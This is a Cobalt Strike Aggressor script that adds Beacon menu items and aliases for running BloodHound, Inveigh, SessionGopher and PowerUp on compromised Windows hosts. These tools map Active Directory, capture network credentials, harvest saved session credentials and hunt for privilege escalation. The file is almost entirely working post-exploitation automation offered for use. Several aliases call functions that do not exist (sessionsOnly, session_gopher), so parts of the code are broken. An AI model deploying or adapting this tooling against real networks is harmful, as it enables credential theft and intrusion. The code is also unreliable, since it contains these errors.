powershell.cna

# This Aggressor script loads some commonly used PowerShell tools, and adds menu bindings
# 001SPARTaN

#### RECON

## BloodHound

# Run BloodHound with default settings
sub bloodhound {
    bpowershell_import($1, script_resource("scripts/BloodHound.ps1")); # Change path to suit
    bcd($1, "C:\\Temp");
    bpowershell($1, "Invoke-BloodHound");
}

# Collect only sessions
sub bloodhoundSessionsOnly {
    bpowershell_import($1, script_resource("scripts/BloodHound.ps1"));
    bcd($1, "C:\\Temp");
    bpowershell($1, "Invoke-BloodHound -CollectionMethod Session");
}

# Alias to run BloodHound from Beacon quickly
alias bloodhound {
    bloodhound($1);
}

# Alias to run BloodHound session collection
alias bloodhound_sessions {
    sessionsOnly($1);
}

## Inveigh

# Run Invoke-Inveigh for 60 minutes
sub inveigh {
    local('$bid');
    $bid = $1;
    bpowershell_import($bid, script_resource("scripts/Inveigh.ps1"));
    bcd($bid, "C:\\Temp");
    bpowershell($bid, "Invoke-Inveigh -ConsoleOutput Y -FileOutput Y -RunTime 60");
}

alias inveigh {
    inveigh($1);
}

sub sessionGopher {
    local('$bid');
    $bid = $1;
    bpowershell_import($bid, script_resource("scripts/SessionGopher.ps1"));
    bcd($bid, "C:\\Temp");
    bpowershell($bid, "Invoke-SessionGopher -o");
}

alias session_gopher {
    session_gopher($1);
}

#### PRIVESC
# Run PowerUp Invoke-AllChecks
sub powerup {
    bpowershell_import($1, script_resource("scripts/PowerUp.ps1"));
    bpowershell($1, "Invoke-AllChecks");
}

alias powerup {
    powerup($1);
}

# Add bindings to Beacon menu
popup beacon_bottom {
    menu "P&owershell" {
        menu "&Recon" {
            item "BloodHound" {
                local('$bid');
                foreach $bid ($1) {
                    bloodhound ($bid);
                }
            }
            item "BloodHound (Sessions)" {
                local('$bid');
                foreach $bid ($1) {
                    bloodhoundSessionsOnly($bid);
                }
            }
            separator();
            item "Inveigh" {
                local('$bid');
                foreach $bid ($1) {
                    inveigh($bid);
                }
            }
            separator();
            item "SessionGopher" {
                local ('$bid');
                foreach $bid ($1) {
                    sessionGopher($bid)
                }
            }
        }
        menu "&PrivEsc" {
            item "PowerUp" {
                local ('$bid');
                foreach $bid ($1) {
                    powerup($bid);
                }
            }
        }
    }
}